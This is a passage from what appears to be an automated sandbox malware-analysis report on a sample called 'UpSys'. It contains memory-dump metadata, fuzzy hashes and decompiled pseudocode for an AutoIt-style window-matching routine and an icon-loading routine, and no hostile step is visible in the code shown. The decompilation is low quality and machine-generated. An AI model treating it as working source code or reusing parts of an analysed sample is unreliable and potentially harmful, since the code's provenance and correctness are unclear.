                                                                                                                                                                                                        0x140081245
                                                                                                                                                                                                        0x14008124c
                                                                                                                                                                                                        0x140081264
                                                                                                                                                                                                        0x140081266
                                                                                                                                                                                                        0x140081271
                                                                                                                                                                                                        0x140081287
                                                                                                                                                                                                        0x14008128f
                                                                                                                                                                                                        0x140081295
                                                                                                                                                                                                        0x14008129c
                                                                                                                                                                                                        0x1400812b4
                                                                                                                                                                                                        0x1400812bb
                                                                                                                                                                                                        0x1400812c5
                                                                                                                                                                                                        0x1400812cb
                                                                                                                                                                                                        0x1400812e3
                                                                                                                                                                                                        0x1400812ea
                                                                                                                                                                                                        0x1400812f4
                                                                                                                                                                                                        0x1400812fa
                                                                                                                                                                                                        0x140081312
                                                                                                                                                                                                        0x140081319
                                                                                                                                                                                                        0x140081323
                                                                                                                                                                                                        0x140081329
                                                                                                                                                                                                        0x140081341
                                                                                                                                                                                                        0x140081348
                                                                                                                                                                                                        0x140081352
                                                                                                                                                                                                        0x140081358
                                                                                                                                                                                                        0x140081370
                                                                                                                                                                                                        0x140081377
                                                                                                                                                                                                        0x140081380
                                                                                                                                                                                                        0x140081386
                                                                                                                                                                                                        0x14008139e
                                                                                                                                                                                                        0x1400813b3
                                                                                                                                                                                                        0x1400813b5
                                                                                                                                                                                                        0x1400813b9
                                                                                                                                                                                                        0x1400813d1
                                                                                                                                                                                                        0x1400813d3
                                                                                                                                                                                                        0x1400813d8
                                                                                                                                                                                                        0x1400813e4
                                                                                                                                                                                                        0x1400813ec
                                                                                                                                                                                                        0x1400813f1
                                                                                                                                                                                                        0x140081409
                                                                                                                                                                                                        0x140081412
                                                                                                                                                                                                        0x14008141c
                                                                                                                                                                                                        0x140081426
                                                                                                                                                                                                        0x140081430
                                                                                                                                                                                                        0x140081442
                                                                                                                                                                                                        0x140081457
                                                                                                                                                                                                        0x140081461
                                                                                                                                                                                                        0x140081476
                                                                                                                                                                                                        0x140081478
                                                                                                                                                                                                        0x140081484
                                                                                                                                                                                                        0x14008148f
                                                                                                                                                                                                        0x1400814a2
                                                                                                                                                                                                        0x1400814a7
                                                                                                                                                                                                        0x1400814bf
                                                                                                                                                                                                        0x1400814cb
                                                                                                                                                                                                        0x1400814d0
                                                                                                                                                                                                        0x1400814d4
                                                                                                                                                                                                        0x1400814d9
                                                                                                                                                                                                        0x1400814ec
                                                                                                                                                                                                        0x1400814fa
                                                                                                                                                                                                        0x140081503
                                                                                                                                                                                                        0x140081505
                                                                                                                                                                                                        0x140081508
                                                                                                                                                                                                        0x140081510
                                                                                                                                                                                                        0x140081516
                                                                                                                                                                                                        0x14008151f
                                                                                                                                                                                                        0x140081525
                                                                                                                                                                                                        0x14008152b
                                                                                                                                                                                                        0x140081538
                                                                                                                                                                                                        0x14008153a
                                                                                                                                                                                                        0x14008154d
                                                                                                                                                                                                        0x140081553
                                                                                                                                                                                                        0x14008155f
                                                                                                                                                                                                        0x14008157b
                                                                                                                                                                                                        0x140081586
                                                                                                                                                                                                        0x1400815bc
                                                                                                                                                                                                        0x1400815e3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$EnumForegroundWindows$ChildDesktop
                                                                                                                                                                                                        • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                                                        • API String ID: 4293069593-1919597938
                                                                                                                                                                                                        • Opcode ID: 2bd4cf750b08b0597b42595f4bd194796d2a26ec89ef6790d64afe5b9a230c05
                                                                                                                                                                                                        • Instruction ID: 83ac76705863e5811889f0b7a3e63091e019087606176857e5074e75e6251bae
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2bd4cf750b08b0597b42595f4bd194796d2a26ec89ef6790d64afe5b9a230c05
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B4F14D72214A8596EE22DF23E4403DAA365FBD97D4F844012FB8A47AF6DF39D609C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008B330 Relevance: 25.7, APIs: 17, Instructions: 247COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 34%
                                                                                                                                                                                                        			E0000000114008B330(long long __rbx, signed int __rcx, short* __rdx, signed int __r10, void* __r11) {
				void* __rsi;
				void* __rbp;
				long long _t85;
				intOrPtr _t86;
				void* _t100;
				intOrPtr _t101;
				void* _t102;
				intOrPtr _t115;
				void* _t140;
				void* _t153;
				intOrPtr _t163;
				long long _t167;
				long long _t171;
				void* _t224;
				short* _t225;
				void* _t227;
				signed int _t228;
				intOrPtr* _t229;
				void* _t231;
				long long _t232;
				void* _t234;
				void* _t235;
				void* _t242;

				_t242 = __r11;
				_t171 = __rbx;
				 *((long long*)(_t234 + 8)) = __rbx;
				_t235 = _t234 - 0x60;
				_t225 = __rdx;
				_t228 = __rcx;
				if (__rdx != _t231) goto 0x4008b351;
				goto 0x4008b75b;
				__imp__#8(_t231);
				if (__rcx != _t231) goto 0x4008b373;
				 *((intOrPtr*)(__rdx + 8)) = 0x80020004;
				 *__rdx = 0xa;
				goto 0x4008b759;
				_t115 =  *((intOrPtr*)(__rcx + 8));
				_t140 = _t115 - 6;
				if (_t140 > 0) goto 0x4008b5cc;
				if (_t140 == 0) goto 0x4008b5b4;
				if (_t140 == 0) goto 0x4008b59c;
				if (_t140 == 0) goto 0x4008b582;
				if (_t140 == 0) goto 0x4008b582;
				if (_t140 == 0) goto 0x4008b532;
				if (_t115 - 0xfffffffffffffffe != 1) goto 0x4008b556;
				_t85 = E0000000114003F4F0(0, __rcx);
				_t232 = _t85;
				__imp__#41();
				if (_t85 < 0) goto 0x4008b556;
				r10d = 0;
				if (0 <= 0) goto 0x4008b410;
				 *( *((intOrPtr*)(_t235 + 0x98)) + 0x1c + __r10 * 8) =  *( *((intOrPtr*)(_t235 + 0x98)) + 0x1c + __r10 * 8) & 0x00000000;
				_t86 = E0000000114003F4F0(1, __rcx);
				 *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x98)) + 0x18 + __r10 * 8)) = _t86;
				_t241 = __r10 + __rbx;
				if (__r10 + __rbx - _t232 < 0) goto 0x4008b3e3;
				 *((short*)( *((intOrPtr*)(_t235 + 0x98)) + 2)) = 0x880;
				_t163 =  *((intOrPtr*)(_t235 + 0x98));
				 *((intOrPtr*)(_t163 + 4)) = 0x18;
				__imp__#37();
				if (_t86 < 0) goto 0x4008b6c2;
				__imp__#23();
				 *((intOrPtr*)(_t235 + 0x90)) = E0000000114008B180(__rbx, __rcx, _t235 + 0x20);
				if (_t86 < 0) goto 0x4008b503;
				 *(_t235 + 0x88) =  *(_t235 + 0x88) & 0x00000000;
				if (_t163 <= 0) goto 0x4008b4f1;
				__imp__#8();
				if ( *((long long*)( *((intOrPtr*)(_t235 + 0x20)) + __rcx * 8)) == 0) goto 0x4008b4b1;
				if (E0000000114008B330(_t171,  *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x20)) + __rcx * 8)), _t235 + 0x48, _t241, _t242) != 0) goto 0x4008b4ec;
				__imp__#10();
				 *(_t235 + 0x88) =  *(_t235 + 0x88) + 1;
				_t229 = _t228 + _t171;
				if (_t229 -  *((intOrPtr*)(_t235 + 0x90)) < 0) goto 0x4008b488;
				goto 0x4008b4f1;
				__imp__#24();
				if (0x8000ffff >= 0) goto 0x4008b519;
				__imp__#39();
				if (0x8000ffff < 0) goto 0x4008b6c2;
				 *__rdx = 0x200c;
				_t167 =  *((intOrPtr*)(_t235 + 0x98));
				 *((long long*)(__rdx + 8)) = _t167;
				goto 0x4008b759;
				 *__rdx = 8;
				E00000001140062190(_t167, _t229);
				_t153 = E0000000114003E000(_t167, _t171, _t167, _t235 + 0x88) - 0x8000ffff;
				if (_t153 >= 0) goto 0x4008b55d;
				goto 0x4008b75b;
				__imp__#2();
				 *((long long*)(_t225 + 8)) = _t167;
				__imp__CoTaskMemFree();
				goto 0x4008b759;
				 *_t225 = 5;
				E00000001140004970(5, _t229);
				asm("movsd [edi+0x8], xmm0");
				goto 0x4008b759;
				 *_t225 = 3;
				 *((intOrPtr*)(_t225 + 8)) = E00000001140010880(_t229);
				goto 0x4008b759;
				E0000000114003F5D0(_t98, _t229);
				_t100 = E0000000114008B330(_t171, _t167, _t225, _t241, _t242);
				goto 0x4008b75b;
				if (_t153 == 0) goto 0x4008b748;
				if (_t153 == 0) goto 0x4008b72d;
				if (_t153 == 0) goto 0x4008b6d5;
				if (0x876 != 1) goto 0x4008b556;
				__imp__#41();
				if (_t100 - 0x8000ffff < 0) goto 0x4008b556;
				 *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x98)) + 0x1c)) = 0x8000ffff;
				_t101 = E0000000114004FA00(_t100 - 0x8000ffff, _t229);
				 *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x98)) + 0x18)) = _t101;
				_t62 = _t171 + 0x7f; // 0x80
				 *((short*)( *((intOrPtr*)(_t235 + 0x98)) + 2)) = _t62;
				 *((intOrPtr*)( *((intOrPtr*)(_t235 + 0x98)) + 4)) = 1;
				__imp__#37();
				if (_t101 - 0x8000ffff < 0) goto 0x4008b6c2;
				__imp__#23();
				if (_t101 - 0x8000ffff < 0) goto 0x4008b6b4;
				_t102 = E0000000114004FA00(_t101 - 0x8000ffff, _t229);
				E0000000114007A0B0(1, _t229, _t235 + 0x88, _t229, _t235 + 0x98, _t242);
				E00000001140016710(_t62, _t101 - 0x8000ffff,  *(_t235 + 0x88),  *((intOrPtr*)(_t235 + 0x98)), _t102);
				__imp__#24();
				r11d = 0x2011;
				 *_t225 = r11w;
				goto 0x4008b521;
				__imp__#39();
				__imp__#38();
				goto 0x4008b556;
				if (E00000001140058CA0(0x29,  *((intOrPtr*)(_t235 + 0x98)), _t229) == bpl) goto 0x4008b5b4;
				 *((intOrPtr*)(_t235 + 0x30)) = 0x8000ffff;
				 *((intOrPtr*)(_t235 + 0x38)) = 1;
				 *((long long*)(_t235 + 0x40)) = _t232;
				E00000001140007A40(_t102, _t235 + 0x30, _t229, _t224);
				 *((intOrPtr*)(_t235 + 0x38)) = 6;
				 *((long long*)(_t235 + 0x30)) = _t232;
				E0000000114008B330(_t102, _t235 + 0x30, _t225, _t241, _t242);
				E00000001140007A40(_t102, _t235 + 0x30, _t229, _t227);
				goto 0x4008b556;
				 *_t225 = 0xb;
				r11d = E0000000114004F8B0(E00000001140058CA0(0x29,  *((intOrPtr*)(_t235 + 0x98)), _t229) - bpl, _t229, _t225) & 0x000000ff;
				 *((intOrPtr*)(_t225 + 8)) = r11w;
				goto 0x4008b759;
				if ( *_t229 == _t232) goto 0x4008b759;
				__imp__#10();
				return 0;
			}


























                                                                                                                                                                                                        0x14008b330
                                                                                                                                                                                                        0x14008b330
                                                                                                                                                                                                        0x14008b330
                                                                                                                                                                                                        0x14008b338
                                                                                                                                                                                                        0x14008b33e
                                                                                                                                                                                                        0x14008b341
                                                                                                                                                                                                        0x14008b347
                                                                                                                                                                                                        0x14008b34c
                                                                                                                                                                                                        0x14008b354
                                                                                                                                                                                                        0x14008b35d
                                                                                                                                                                                                        0x14008b364
                                                                                                                                                                                                        0x14008b36b
                                                                                                                                                                                                        0x14008b36e
                                                                                                                                                                                                        0x14008b373
                                                                                                                                                                                                        0x14008b376
                                                                                                                                                                                                        0x14008b379
                                                                                                                                                                                                        0x14008b37f
                                                                                                                                                                                                        0x14008b38c
                                                                                                                                                                                                        0x14008b394
                                                                                                                                                                                                        0x14008b39c
                                                                                                                                                                                                        0x14008b3a4
                                                                                                                                                                                                        0x14008b3ac
                                                                                                                                                                                                        0x14008b3b7
                                                                                                                                                                                                        0x14008b3c7
                                                                                                                                                                                                        0x14008b3cc
                                                                                                                                                                                                        0x14008b3d4
                                                                                                                                                                                                        0x14008b3da
                                                                                                                                                                                                        0x14008b3df
                                                                                                                                                                                                        0x14008b3ee
                                                                                                                                                                                                        0x14008b3f4
                                                                                                                                                                                                        0x14008b401
                                                                                                                                                                                                        0x14008b406
                                                                                                                                                                                                        0x14008b40e
                                                                                                                                                                                                        0x14008b41d
                                                                                                                                                                                                        0x14008b421
                                                                                                                                                                                                        0x14008b429
                                                                                                                                                                                                        0x14008b438
                                                                                                                                                                                                        0x14008b440
                                                                                                                                                                                                        0x14008b453
                                                                                                                                                                                                        0x14008b468
                                                                                                                                                                                                        0x14008b471
                                                                                                                                                                                                        0x14008b477
                                                                                                                                                                                                        0x14008b486
                                                                                                                                                                                                        0x14008b48d
                                                                                                                                                                                                        0x14008b49d
                                                                                                                                                                                                        0x14008b4af
                                                                                                                                                                                                        0x14008b4cb
                                                                                                                                                                                                        0x14008b4d9
                                                                                                                                                                                                        0x14008b4e0
                                                                                                                                                                                                        0x14008b4e8
                                                                                                                                                                                                        0x14008b4ea
                                                                                                                                                                                                        0x14008b4f9
                                                                                                                                                                                                        0x14008b501
                                                                                                                                                                                                        0x14008b50b
                                                                                                                                                                                                        0x14008b513
                                                                                                                                                                                                        0x14008b51e
                                                                                                                                                                                                        0x14008b521
                                                                                                                                                                                                        0x14008b529
                                                                                                                                                                                                        0x14008b52d
                                                                                                                                                                                                        0x14008b53a
                                                                                                                                                                                                        0x14008b53d
                                                                                                                                                                                                        0x14008b552
                                                                                                                                                                                                        0x14008b554
                                                                                                                                                                                                        0x14008b558
                                                                                                                                                                                                        0x14008b565
                                                                                                                                                                                                        0x14008b573
                                                                                                                                                                                                        0x14008b577
                                                                                                                                                                                                        0x14008b57d
                                                                                                                                                                                                        0x14008b58a
                                                                                                                                                                                                        0x14008b58d
                                                                                                                                                                                                        0x14008b592
                                                                                                                                                                                                        0x14008b597
                                                                                                                                                                                                        0x14008b5a4
                                                                                                                                                                                                        0x14008b5ac
                                                                                                                                                                                                        0x14008b5af
                                                                                                                                                                                                        0x14008b5b7
                                                                                                                                                                                                        0x14008b5c2
                                                                                                                                                                                                        0x14008b5c7
                                                                                                                                                                                                        0x14008b5cf
                                                                                                                                                                                                        0x14008b5dc
                                                                                                                                                                                                        0x14008b5e4
                                                                                                                                                                                                        0x14008b5ec
                                                                                                                                                                                                        0x14008b5ff
                                                                                                                                                                                                        0x14008b607
                                                                                                                                                                                                        0x14008b618
                                                                                                                                                                                                        0x14008b61b
                                                                                                                                                                                                        0x14008b628
                                                                                                                                                                                                        0x14008b633
                                                                                                                                                                                                        0x14008b636
                                                                                                                                                                                                        0x14008b642
                                                                                                                                                                                                        0x14008b64d
                                                                                                                                                                                                        0x14008b655
                                                                                                                                                                                                        0x14008b667
                                                                                                                                                                                                        0x14008b66f
                                                                                                                                                                                                        0x14008b674
                                                                                                                                                                                                        0x14008b67f
                                                                                                                                                                                                        0x14008b692
                                                                                                                                                                                                        0x14008b69f
                                                                                                                                                                                                        0x14008b6a5
                                                                                                                                                                                                        0x14008b6ab
                                                                                                                                                                                                        0x14008b6af
                                                                                                                                                                                                        0x14008b6bc
                                                                                                                                                                                                        0x14008b6ca
                                                                                                                                                                                                        0x14008b6d0
                                                                                                                                                                                                        0x14008b6e5
                                                                                                                                                                                                        0x14008b6f0
                                                                                                                                                                                                        0x14008b6f4
                                                                                                                                                                                                        0x14008b6f8
                                                                                                                                                                                                        0x14008b6fd
                                                                                                                                                                                                        0x14008b70a
                                                                                                                                                                                                        0x14008b712
                                                                                                                                                                                                        0x14008b717
                                                                                                                                                                                                        0x14008b723
                                                                                                                                                                                                        0x14008b728
                                                                                                                                                                                                        0x14008b735
                                                                                                                                                                                                        0x14008b73d
                                                                                                                                                                                                        0x14008b741
                                                                                                                                                                                                        0x14008b746
                                                                                                                                                                                                        0x14008b74e
                                                                                                                                                                                                        0x14008b753
                                                                                                                                                                                                        0x14008b76a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InitVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1927566239-0
                                                                                                                                                                                                        • Opcode ID: 6593629e7386d588732be527841b774c4f743b15e651256c37168a0b4f7a621c
                                                                                                                                                                                                        • Instruction ID: 2231bac99277d7d2364b057da116f6cbb49fd3259acc69625de217180abf09d5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6593629e7386d588732be527841b774c4f743b15e651256c37168a0b4f7a621c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DAB14073218A8586EB669F27E4947EE6760F789BC4F008025FB4E477B6DF38C6498700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140064440 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 187windowlibraryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 29%
                                                                                                                                                                                                        			E00000001140064440(void* __edx, void* __eflags, long long __rbx, intOrPtr* __rdx, long long __rsi, void* __r8, void* __r9) {
				void* _t65;
				signed int _t74;
				signed int _t95;
				signed long long _t131;
				signed long long _t132;
				void* _t163;
				signed long long _t165;
				struct HICON__* _t166;
				long long _t170;
				signed long long _t173;
				void* _t174;
				struct HINSTANCE__* _t182;
				int _t184;
				WCHAR* _t187;
				void* _t188;
				struct HINSTANCE__* _t190;

				_t131 = _t173;
				 *((long long*)(_t131 + 8)) = __rbx;
				 *((long long*)(_t131 + 0x18)) = _t170;
				 *((long long*)(_t131 + 0x20)) = __rsi;
				_t174 = _t173 - 0x40;
				_t188 = __r9;
				 *((long long*)(_t131 - 0x38)) = __rsi;
				r12d = E00000001140010880(__r9);
				_t65 = E00000001140016A44(_t64, __r8);
				if (_t131 - 4 <= 0) goto 0x400644f7;
				E00000001140016A44(_t65, __r8);
				_t95 = sil & 0xffffff00 | E00000001140016D8C(_t131, __r8 + _t131 * 2 - 8, L".icl") == 0x00000000;
				 *(_t174 + 0x78) = _t95;
				E00000001140016A44(_t67, __r8);
				dil = E00000001140016D8C(_t131, __r8 + _t131 * 2 - 8, L".exe") == 0;
				E00000001140016A44(_t69, __r8);
				if (E00000001140016D8C(_t131, __r8 + _t131 * 2 - 8, L".dll") == 0) goto 0x40064589;
				if (dil != sil) goto 0x40064589;
				if (_t95 != sil) goto 0x40064528;
				r9d =  *((short*)(__rdx + 0xf0));
				r8d = 1;
				_t163 = __r8;
				 *(_t174 + 0x28) = 0x2010;
				 *(_t174 + 0x20) =  *((short*)(__rdx + 0xf2));
				LoadImageW(_t190, _t187, _t184);
				 *(_t174 + 0x30) = _t131;
				if ( *(_t174 + 0x30) != __rsi) goto 0x400646a3;
				_t74 = E000000011400624B0( *(_t174 + 0x30) - __rsi, _t131, __rbx, _t188);
				if (_t74 == sil) goto 0x400646a3;
				if (r12d <= 0) goto 0x40064555;
				if (_t95 == sil) goto 0x400646a3;
				if (r12d >= 0) goto 0x40064560;
				r12d = (_t74 | 0xffffffff) - r12d;
				 *(_t174 + 0x20) = 1;
				if ( *((short*)(__rdx + 0xf0)) - 0x10 <= 0) goto 0x40064695;
				r9d = 0;
				goto 0x4006469d;
				_t26 = _t163 + 0x32; // 0x32
				r8d = _t26;
				LoadLibraryExW(??, ??, ??);
				if (_t131 == __rsi) goto 0x40064528;
				if (E00000001140050340(_t131 - __rsi, _t131) == sil) goto 0x4006460b;
				E00000001140062190(_t131, _t188);
				r9d =  *((short*)(__rdx + 0xf0));
				r8d = 1;
				 *(_t174 + 0x28) = 0;
				 *(_t174 + 0x20) =  *((short*)(__rdx + 0xf2));
				LoadImageW(??, ??, ??, ??, ??, ??);
				 *(_t174 + 0x30) = _t131;
				if (_t131 != __rsi) goto 0x40064683;
				r9d =  *((short*)(__rdx + 0xf0));
				 *(_t174 + 0x28) = 0;
				 *(_t174 + 0x20) =  *((short*)(__rdx + 0xf2));
				goto 0x4006466f;
				if (r12d < 0) goto 0x40064641;
				r9d =  *((short*)(__rdx + 0xf0));
				r8d = 1;
				 *(_t174 + 0x28) = 0;
				 *(_t174 + 0x20) =  *((short*)(__rdx + 0xf2));
				LoadImageW(??, ??, ??, ??, ??, ??);
				 *(_t174 + 0x30) = _t131;
				goto 0x40064646;
				_t132 =  *(_t174 + 0x30);
				if (_t132 != __rsi) goto 0x40064687;
				E00000001140062190(_t132, _t188);
				 *(_t174 + 0x28) = 0;
				 *(_t174 + 0x20) =  *((short*)(__rdx + 0xf2));
				_t165 = _t132;
				r9d =  *((short*)(__rdx + 0xf0));
				r8d = 1;
				LoadImageW(??, ??, ??, ??, ??, ??);
				 *(_t174 + 0x30) = _t132;
				FreeLibrary(_t182);
				goto 0x40064528;
				r8d = 0;
				ExtractIconExW(??, ??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 0xc0)) == __rsi) goto 0x400646b5;
				DestroyIcon(_t166);
				r9d = 0;
				 *((long long*)(__rdx + 0xc0)) =  *(_t174 + 0x30);
				SendMessageW(??, ??, ??, ??);
				r8d = 0x172;
				_t52 = _t165 - 0x63; // 0x1
				r9d = _t52;
				SendMessageW(??, ??, ??, ??);
				r11d =  *((short*)(__rdx + 0xf2));
				r9d =  *((short*)(__rdx + 0xf0));
				r8d =  *((short*)(__rdx + 0xee));
				 *(_t174 + 0x28) = 1;
				 *(_t174 + 0x20) = r11d;
				MoveWindow(??, ??, ??, ??, ??, ??);
				if ( *(_t174 + 0x30) == __rsi) goto 0x4006472d;
				sil = 1;
				E00000001140007A40( *__rdx, _t188, __rsi);
				return sil;
			}



















                                                                                                                                                                                                        0x140064440
                                                                                                                                                                                                        0x140064443
                                                                                                                                                                                                        0x140064447
                                                                                                                                                                                                        0x14006444b
                                                                                                                                                                                                        0x140064458
                                                                                                                                                                                                        0x140064461
                                                                                                                                                                                                        0x14006446a
                                                                                                                                                                                                        0x140064479
                                                                                                                                                                                                        0x14006447c
                                                                                                                                                                                                        0x140064485
                                                                                                                                                                                                        0x14006448a
                                                                                                                                                                                                        0x1400644a5
                                                                                                                                                                                                        0x1400644a8
                                                                                                                                                                                                        0x1400644ac
                                                                                                                                                                                                        0x1400644c7
                                                                                                                                                                                                        0x1400644cb
                                                                                                                                                                                                        0x1400644e3
                                                                                                                                                                                                        0x1400644ec
                                                                                                                                                                                                        0x1400644f5
                                                                                                                                                                                                        0x1400644fe
                                                                                                                                                                                                        0x140064506
                                                                                                                                                                                                        0x14006450c
                                                                                                                                                                                                        0x140064511
                                                                                                                                                                                                        0x140064519
                                                                                                                                                                                                        0x14006451d
                                                                                                                                                                                                        0x140064523
                                                                                                                                                                                                        0x14006452d
                                                                                                                                                                                                        0x140064536
                                                                                                                                                                                                        0x14006453e
                                                                                                                                                                                                        0x140064547
                                                                                                                                                                                                        0x14006454c
                                                                                                                                                                                                        0x140064555
                                                                                                                                                                                                        0x14006455d
                                                                                                                                                                                                        0x140064568
                                                                                                                                                                                                        0x140064576
                                                                                                                                                                                                        0x14006457c
                                                                                                                                                                                                        0x140064584
                                                                                                                                                                                                        0x14006458e
                                                                                                                                                                                                        0x14006458e
                                                                                                                                                                                                        0x140064592
                                                                                                                                                                                                        0x14006459e
                                                                                                                                                                                                        0x1400645ab
                                                                                                                                                                                                        0x1400645be
                                                                                                                                                                                                        0x1400645c3
                                                                                                                                                                                                        0x1400645c6
                                                                                                                                                                                                        0x1400645d2
                                                                                                                                                                                                        0x1400645d6
                                                                                                                                                                                                        0x1400645da
                                                                                                                                                                                                        0x1400645e0
                                                                                                                                                                                                        0x1400645e8
                                                                                                                                                                                                        0x1400645f5
                                                                                                                                                                                                        0x1400645fd
                                                                                                                                                                                                        0x140064601
                                                                                                                                                                                                        0x140064609
                                                                                                                                                                                                        0x14006460e
                                                                                                                                                                                                        0x140064617
                                                                                                                                                                                                        0x140064623
                                                                                                                                                                                                        0x14006462c
                                                                                                                                                                                                        0x140064630
                                                                                                                                                                                                        0x140064634
                                                                                                                                                                                                        0x14006463a
                                                                                                                                                                                                        0x14006463f
                                                                                                                                                                                                        0x140064641
                                                                                                                                                                                                        0x140064649
                                                                                                                                                                                                        0x14006465c
                                                                                                                                                                                                        0x140064661
                                                                                                                                                                                                        0x140064665
                                                                                                                                                                                                        0x140064669
                                                                                                                                                                                                        0x14006466c
                                                                                                                                                                                                        0x14006466f
                                                                                                                                                                                                        0x140064678
                                                                                                                                                                                                        0x14006467e
                                                                                                                                                                                                        0x14006468a
                                                                                                                                                                                                        0x140064690
                                                                                                                                                                                                        0x14006469a
                                                                                                                                                                                                        0x14006469d
                                                                                                                                                                                                        0x1400646ad
                                                                                                                                                                                                        0x1400646af
                                                                                                                                                                                                        0x1400646be
                                                                                                                                                                                                        0x1400646c9
                                                                                                                                                                                                        0x1400646d0
                                                                                                                                                                                                        0x1400646db
                                                                                                                                                                                                        0x1400646e1
                                                                                                                                                                                                        0x1400646e1
                                                                                                                                                                                                        0x1400646e8
                                                                                                                                                                                                        0x1400646ee
                                                                                                                                                                                                        0x1400646f6
                                                                                                                                                                                                        0x1400646fe
                                                                                                                                                                                                        0x140064710
                                                                                                                                                                                                        0x140064718
                                                                                                                                                                                                        0x14006471d
                                                                                                                                                                                                        0x140064728
                                                                                                                                                                                                        0x14006472a
                                                                                                                                                                                                        0x140064730
                                                                                                                                                                                                        0x140064755

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFreeMoveWindow_errno
                                                                                                                                                                                                        • String ID: .dll$.exe$.icl
                                                                                                                                                                                                        • API String ID: 609567514-1154884017
